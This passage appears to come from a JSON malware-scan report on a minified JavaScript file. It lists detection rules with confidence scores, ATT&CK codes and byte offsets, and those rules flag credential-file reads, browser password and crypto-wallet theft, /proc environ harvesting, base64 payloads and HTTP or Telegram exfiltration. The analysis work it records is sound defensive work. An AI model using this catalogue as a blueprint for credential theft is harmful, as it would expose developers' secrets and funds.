            "id": "micro-behaviors/fs/temp/directory::node-mkdtemp-os-tmpdir",
            "conf": 0.88,
            "crit": 3,
            "desc": "Creates a randomized temp staging directory",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/temp/directory::os-tmpdir",
            "conf": 0.8,
            "crit": 2,
            "desc": "Uses the Node.js system temporary directory",
            "spans": [
              [
                109,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/console/io::encoded-dev-null-redirect",
            "conf": 0.85,
            "crit": 3,
            "desc": "Encoded /dev/null output redirection",
            "spans": [
              [
                189,
                103
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/container/image::docker-config-json",
            "conf": 0.9,
            "crit": 3,
            "desc": "Docker config file reference",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/access::js-object-entries-env",
            "conf": 0.75,
            "crit": 2,
            "desc": "JavaScript enumerates process.env entries",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::github-actions-flag",
            "conf": 0.85,
            "crit": 3,
            "desc": "GITHUB_ACTIONS runtime flag",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::multi-ci-provider-env-refs--buildkite",
            "conf": 0.92,
            "crit": 3,
            "desc": "CI provider environment reference (BUILDKITE)",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::multi-ci-provider-env-refs--gitlab",
            "conf": 0.92,
            "crit": 3,
            "desc": "CI provider environment reference (GITLAB_CI)",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::multi-ci-provider-env-refs--travis",
            "conf": 0.92,
            "crit": 3,
            "desc": "CI provider environment reference (TRAVIS)",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::process-env-ci",
            "conf": 0.75,
            "crit": 3,
            "desc": "Reads CI environment flag",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::process-env-github-actions",
            "conf": 0.8,
            "crit": 3,
            "desc": "Reads GITHUB_ACTIONS CI variable",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::process-env-github-repository",
            "conf": 0.78,
            "crit": 3,
            "desc": "Reads GITHUB_REPOSITORY CI variable",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::execSync-call",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Runs shell commands synchronously with execSync",
            "spans": [
              [
                58335,
                10
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::execSync-dynamic-command",
            "atk": "T1059.007",
            "mbc": "C0017",
            "conf": 0.92,
            "crit": 3,
            "desc": "execSync receives a variable command",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/local::node-exec-require-destructure-binding",
            "conf": 0.94,
            "crit": 1,
            "desc": "Destructures Node exec from require",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/spawn::stdio-ignore",
            "mbc": "F0005",
            "conf": 0.85,
            "crit": 3,
            "desc": "Spawns a child with standard I/O ignored",
            "spans": [
              [
                189,
                56924
              ],
              [
                58471,
                14
              ]
            ]
          },
          {
            "id": "objectives/command-and-control/dropper/node-download-execute::node-helper-wrapped-child-process-name",
            "conf": 1.0,
            "crit": 1,
            "desc": "Helper resolves child process module",
            "spans": [
              [
                70,
                0
              ],
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/command-and-control/dropper/node-download-execute::node-helper-wrapped-https-name",
            "conf": 1.0,
            "crit": 1,
            "desc": "Helper resolves Node HTTPS module",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/cloud/token/cli::docker-config-path-literal",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 1,
            "desc": "Docker credential config path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/env/secrets/filtered-access::env-filter-method",
            "atk": "T1552.001",
            "conf": 0.82,
            "crit": 1,
            "desc": "process.env adjacent to filter or match",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/files/config::credential-path-table--rx-12",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "Terraform or RSA/DSA SSH-key path literal",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/files/config::credential-path-table--rx-13",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "Terraform or ECDSA/Ed25519 SSH-key path literal",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/files/config::credential-path-table--rx-8",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "NPM or PyPI credential-file path literal",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/files/config::credential-path-table--rx-9",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "Git credential-file path literal",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/files/config::terraform-creds-path-ref",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.92,
            "crit": 3,
            "desc": "References Terraform Cloud credentials file",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/theft/keywords::password-upper",
            "conf": 0.45,
            "crit": 1,
            "desc": "PASSWORD credential label",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/theft/keywords::secret-upper",
            "conf": 0.45,
            "crit": 1,
            "desc": "SECRET credential label",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/wallet/desktop::node-ethereum-keystore-path",
            "atk": "T1555",
            "mbc": "B0028",
            "conf": 0.9,
            "crit": 4,
            "desc": "JavaScript constructs Ethereum keystore path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/wallet/extension::phantom",
            "atk": "T1555.003",
            "mbc": "B0028",
            "conf": 0.9,
            "crit": 4,
            "desc": "Standalone Phantom extension ID",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/wallet/solana::solana-keypair-reference",
            "atk": "T1555",
            "conf": 0.85,
            "crit": 1,
            "desc": "Solana keypair reference",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/stealer/credential/dev-file::npm-token-name-ref",
            "atk": "T1552.001,T1041",
            "mbc": "E1552",
            "conf": 0.88,
            "crit": 1,
            "desc": "Reads npm auth token from environment",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/credential-theft/registry::js-env-home-cred-npmrc",
            "atk": "T1552.001",
            "conf": 0.85,
            "crit": 1,
            "desc": "npmrc credential path marker",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/hidden-payload/worm::npm-maintainer-search-api",
            "atk": "T1195.002",
            "mbc": "F0001",
            "conf": 0.94,
            "crit": 4,
            "desc": "Queries npm maintainer package search",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "well-known/app/browser-extension/metamask::chrome-extension-id",
            "conf": 0.99,
            "crit": 3,
            "desc": "MetaMask Chrome extension ID",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "well-known/lib/network/registry-auth-token::auth-token-key",
            "conf": 0.99,
            "crit": 3,
            "desc": "npm _authToken config key",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "well-known/tool/development/ide-contexts::embedded-python-pip-install",
            "conf": 0.94,
            "crit": 3,
            "desc": "Embedded Python pip install bootstrap",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "metadata/library/structure::js-medium-minified-line",
            "conf": 0.9,
            "crit": 1,
            "desc": "JavaScript contains a long minified line",
            "spans": [
              [
                182,
                56937
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/header/content-type::json-header",
            "conf": 0.9,
            "crit": 3,
            "desc": "References HTTP Content-Type application/json",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/header/custom::non-mozilla-user-agent-header",
            "conf": 0.9,
            "crit": 3,
            "desc": "Sets a non-Mozilla User-Agent header",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/headers::authorization-header-map-entry",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.88,
            "crit": 3,
            "desc": "Defines an HTTP Authorization header mapping",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/url/encoded::base64-decoded-http-url",
            "conf": 0.9,
            "crit": 3,
            "desc": "HTTP URL recovered from Base64 content",
            "spans": [
              [
                189,
                103
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/url/path::js-url-host-read",
            "conf": 0.8,
            "crit": 3,
            "desc": "Reads hostname from URL variable",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/url/path::telemetry-api-path",
            "conf": 0.78,
            "crit": 3,
            "desc": "Telemetry endpoint URL path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/ip/endpoint::https-port-443-protocol",
            "conf": 0.6,
            "crit": 1,
            "desc": "References HTTPS service port 443",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/hash/hmac::hmac-api-reference",
            "mbc": "C0029",
            "conf": 0.9,
            "crit": 3,
            "desc": "References an HMAC API",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/symmetric/aes/library::node-crypto-create-cipher",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node.js crypto.createCipheriv usage",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/decode/base64::base64-decode-call-text",
            "conf": 0.86,
            "crit": 3,
            "desc": "JavaScript invokes a Base64 decoder",
            "spans": [
              [
                189,
                56924
              ],
              [
                57162,
                22
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/decode/base64::multiple-node-base64-decodes",
            "conf": 0.8,
            "crit": 3,
            "desc": "Multiple Node.js Base64 decodes",
            "spans": [
              [
                189,
                56924
              ],
              [
                57162,
                23
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/encode/base64::tostring-base64",
            "conf": 0.8,
            "crit": 3,
            "desc": "Base64 encoding via toString (JS)",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/delete::fs-rm-recursive",
            "atk": "T1070.004",
            "mbc": "C0047",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node.js fs.rm with recursive option",
            "spans": [
              [
                189,
                56924
              ],
              [
                58515,
                20
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/mkdir::recursive-mkdir-sync",
            "conf": 0.9,
            "crit": 3,
            "desc": "Creates a directory tree synchronously",
            "spans": [
              [
                144,
                27
              ],
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/traverse::traverse-readdir-walk-find",
            "conf": 0.85,
            "crit": 2,
            "desc": "Traverses directories using common APIs",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::readfilesync-call",
            "conf": 0.9,
            "crit": 3,
            "desc": "Calls readFileSync",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/application/executable::browser-apps-brave",
            "conf": 0.5,
            "crit": 3,
            "desc": "Brave browser application-name token",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/browser::login-data",
            "atk": "T1555.003",
            "mbc": "T1555.003",
            "conf": 0.8,
            "crit": 3,
            "desc": "Chromium Login Data filename reference",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::aws-config",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "AWS config file path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::docker-config",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Docker config.json path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::git-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Git credentials file",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::kube-config",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Kubernetes config path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::kube-config-path-components",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 3,
            "desc": "Kubernetes config path components",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::pem-file-extension-reference",
            "atk": "T1552.004",
            "conf": 0.75,
            "crit": 3,
            "desc": "References a PEM certificate or key file",
            "spans": [
              [
                58298,
                4
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::ssh-dir",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 2,
            "desc": ".ssh directory path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::terraform-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 4,
            "desc": "Terraform Cloud credentials file",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/ssh::keys",
            "atk": "T1552.004",
            "mbc": "T1552.004",
            "conf": 0.8,
            "crit": 1,
            "desc": "SSH keys directory path literal",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/info/path::process-arbitrary",
            "conf": 0.66,
            "crit": 3,
            "desc": "Access /proc for arbitrary PIDs",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/info/path::process-var-environ",
            "conf": 0.94,
            "crit": 3,
            "desc": "Reads variable-PID environment via procfs",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/read/file::node-sensitive-file-read",
            "conf": 0.88,
            "crit": 3,
            "desc": "Node reads a sensitive config path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::service-credential-env-var",
            "conf": 0.86,
            "crit": 3,
            "desc": "Reads secret-like credential env variable",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/random/crypto::node-random-32-byte-value",
            "conf": 0.84,
            "crit": 3,
            "desc": "Node.js 32-byte random value",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-platform-method-call",
            "conf": 0.75,
            "crit": 3,
            "desc": "Calls a Node OS platform method",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-destructure-require",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Destructures APIs from Node.js child_process",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/daemonize/detach::node-handle-unref-text",
            "mbc": "F0011",
            "conf": 0.86,
            "crit": 3,
            "desc": "Detaches a handle with unref()",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/browser/chromium::browser-creds-table-sql",
            "atk": "T1555.003",
            "conf": 0.9,
            "crit": 3,
            "desc": "SQL query against a browser credential table",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/browser/chromium::password-sql",
            "atk": "T1555.003",
            "mbc": "B0028",
            "conf": 0.95,
            "crit": 4,
            "desc": "Chromium Login Data SQL query",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/env/dotenv::dotenv-read-secrets",
            "atk": "T1552.001",
            "mbc": "B0014",
            "conf": 0.85,
            "crit": 3,
            "desc": "Dotenv secrets reading",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/files/config::login-secret-file-paths--rx-7",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "Shell history file path literal",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/wallet/keywords::wallet-token",
            "conf": 0.4,
            "crit": 1,
            "desc": "Wallet keyword",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/discovery/system/fingerprint/user::node-host-user-query-pair",
            "atk": "T1033",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node queries hostname and username",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "metadata/file/catalog/service::cloud-saas-service-names",
            "conf": 0.6,
            "crit": 1,
            "desc": "Cloud SaaS service names",
            "uses": [
              0
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::runtime-api-import-set",
            "conf": 0.8,
            "crit": 3,
            "desc": "Imports at least three Node.js runtime APIs",
            "uses": [
              6,
              7,
              8
            ],
            "spans": [
              [
                54,
                7
              ]
            ]
          },
          {
            "id": "metadata/library/structure::js-any-bundle-output",
            "conf": 0.95,
            "crit": 2,
            "desc": "Contains bundled or minified JavaScript",
            "uses": [
              94
            ],
            "spans": [
              [
                182,
                56937
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/symmetric/aes/runtime-library::aes-256-cbc",
            "mbc": "C0027",
            "conf": 0.85,
            "crit": 3,
            "desc": "AES-256-CBC encryption",
            "uses": [
              25
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/decode/base64::long-base64-blob-decode-pair",
            "conf": 0.92,
            "crit": 3,
            "desc": "JavaScript decodes a long embedded Base64 blob",
            "uses": [
              28,
              104
            ],
            "spans": [
              [
                57162,
                22
              ],
              [
                57195,
                128
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/encode/base64::base64-encoding",
            "conf": 0.95,
            "crit": 3,
            "desc": "Base64 encoding capability",
            "uses": [
              106
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::host-identity-field-pair",
            "conf": 0.88,
            "crit": 3,
            "desc": "Object literal pairs hostname and username keys",
            "uses": [
              38,
              39
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::file-content-read-operation",
            "conf": 0.82,
            "crit": 2,
            "desc": "File content read operation",
            "uses": [
              124
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::require-cwd-package-json",
            "conf": 0.84,
            "crit": 3,
            "desc": "Loads package.json from current working directory",
            "uses": [
              9,
              41,
              42,
              43
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/construct::javascript-local-path",
            "conf": 0.7,
            "crit": 2,
            "desc": "JavaScript constructs a local script path",
            "uses": [
              49
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::generic-sensitive-credential-path",
            "atk": "T1552.001",
            "conf": 0.8,
            "crit": 3,
            "desc": "References a sensitive credential or environment file path",
            "uses": [
              113,
              121
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/info/path::process-environ-targeting",
            "conf": 0.82,
            "crit": 3,
            "desc": "Read process environment via proc",
            "uses": [
              123
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::multi-ci-provider-env-refs",
            "conf": 0.92,
            "crit": 3,
            "desc": "Multiple CI provider environment references",
            "uses": [
              63,
              64,
              65,
              66
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/module/load::node-system-module-import-set",
            "conf": 0.88,
            "crit": 3,
            "desc": "Imports at least two Node system modules",
            "uses": [
              6,
              7,
              8
            ],
            "spans": [
              [
                70,
                7
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/random/crypto::node-random-generation",
            "conf": 0.72,
            "crit": 3,
            "desc": "Node.js cryptographic random-value generation",
            "uses": [
              126
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-exec",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node.js child_process execution",
            "uses": [
              70
            ],
            "spans": [
              [
                58335,
                10
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/local::node-exec-child-process-binding",
            "conf": 0.94,
            "crit": 1,
            "desc": "Binds Node child_process exec",
            "uses": [
              72
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/files/config::credential-path-table",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "Credential path table in source",
            "uses": [
              78,
              79,
              80,
              81
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/files/config::developer-credential-file-source",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.92,
            "crit": 1,
            "desc": "References a developer credential file",
            "uses": [
              53,
              61,
              82,
              116
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/files/config::login-secret-file-paths",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "Login secret file paths",
            "uses": [
              133
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/theft/keywords::credential-label-upper",
            "conf": 0.9,
            "crit": 1,
            "desc": "Uppercase credential label",
            "uses": [
              83,
              84
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/wallet/desktop::node-wallet-store-path",
            "atk": "T1555",
            "mbc": "B0028",
            "conf": 0.9,
            "crit": 4,
            "desc": "JavaScript constructs a crypto wallet path",
            "uses": [
              85
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/http/upload::node-http-request-configured-any",
            "atk": "T1041",
            "conf": 0.9,
            "crit": 1,
            "desc": "Node HTTP request has explicit options",
            "uses": [
              16
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/env/secrets/filtered-access::js-secret-keyword-list",
            "atk": "T1552.001",
            "conf": 0.96,
            "crit": 3,
            "desc": "JavaScript environment secret-keyword filter",
            "uses": [
              62,
              156
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/files/config::developer-credential-file-read",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.92,
            "crit": 3,
            "desc": "Reads a referenced developer credential file",
            "uses": [
              143,
              154
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::cloud-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Cloud provider credential file paths",
            "uses": [
              113
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::container-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Container/orchestration credential paths",
            "uses": [
              114
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::orchestration-credentials",
            "atk": "T1552.001",
            "conf": 0.94,
            "crit": 3,
            "desc": "Orchestration credential paths",
            "uses": [
              116,
              117
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::ssh-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "SSH credential file paths",
            "uses": [
              119
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-require",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.8,
            "crit": 3,
            "desc": "Imports the Node.js child_process module",
            "uses": [
              6,
              128
            ],
            "spans": [
              [
                70,
                7
              ],
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/dump/process::proc-environ-harvest",
            "atk": "T1003.007",
            "conf": 0.88,
            "crit": 4,
            "desc": "Targets process environ with secret context",
            "uses": [
              77,
              125,
              147,
              159
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/env/secrets/bulk-access::node-config",
            "atk": "T1552.001",
            "conf": 0.7,
            "crit": 3,
            "desc": "Accessing sensitive configuration files",
            "uses": [
              116
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/wallet/extension::browser-wallet-extensions",
            "conf": 1.0,
            "crit": 4,
            "desc": "Multiple browser wallet extension IDs",
            "uses": [
              86,
              91
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/discovery/host/browser/identity::browser-data-files",
            "atk": "T1217",
            "conf": 0.7,
            "crit": 3,
            "desc": "Browser data file references",
            "uses": [
              112
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/discovery/process/enumerate::ts-proc-pid-walk",
            "atk": "T1057",
            "conf": 0.78,
            "crit": 3,
            "desc": "JavaScript/TypeScript walks /proc PID entries",
            "uses": [
              57,
              122
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/messaging/telegram::telegram-archive-sensitive-source",
            "atk": "T1567",
            "conf": 0.9,
            "crit": 1,
            "desc": "Sensitive collection or operator token beside Telegram archive upload",
            "uses": [
              113,
              114,
              115,
              116,
              117,
              118,
              119,
              120,
              146
            ],
            "spans": [
              [
                189,
                56924
              ],
              [
                58298,
                0
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/credential-theft/registry::npmrc-base64-encode",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 4,
            "desc": "Encodes NPM registry credentials as Base64",
            "uses": [
              89,
              141
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::developer-credential-stores",
            "atk": "T1552.001",
            "conf": 0.92,
            "crit": 3,
            "desc": "References developer credential store paths",
            "uses": [
              161,
              163
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/stealer/credential/dev-file::multi-developer-secret-source",
            "atk": "T1552.001,T1041",
            "mbc": "E1552",
            "conf": 0.96,
            "crit": 3,
            "desc": "References three or more developer credential source groups",
            "uses": [
              162,
              173
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/credential-access/theft/multi-app::browser-wallet-stealer",
            "atk": "T1555.003",
            "mbc": "B0028",
            "conf": 0.95,
            "crit": 4,
            "desc": "Browser data with wallet targeting",
            "uses": [
              85,
              86,
              157,
              168,
              169
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/recon-exfil/pipeline::multiple-credential-store-sources",
            "atk": "T1041",
            "mbc": "E1041",
            "conf": 0.95,
            "crit": 4,
            "desc": "Multiple developer credential store sources",
            "uses": [
              130,
              167
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/stealer/credential/browser::js-browser-wallet-stealer-source",
            "atk": "T1041",
            "conf": 0.94,
            "crit": 3,
            "desc": "Browser or wallet credential source",
            "uses": [
              175
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/stealer/credential/browser::js-browser-wallet-upload-exfil",
            "atk": "T1555.003,T1041",
            "mbc": "B0028",
            "conf": 0.96,
            "crit": 5,
            "desc": "Browser or wallet data uploaded over HTTP",
            "uses": [
              13,
              14,
              15,
              177
            ],
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "metadata/encoded-payload/base64",
            "conf": 0.9,
            "crit": 3,
            "desc": "Encoded content decoded: base64",
            "spans": [
              [
                189,
                49
              ],
              [
                57195,
                49
              ]
            ]
          }
        ],
        "type": "javascript"
      },
      {
        "id": 4,
        "mol": "H(F)",
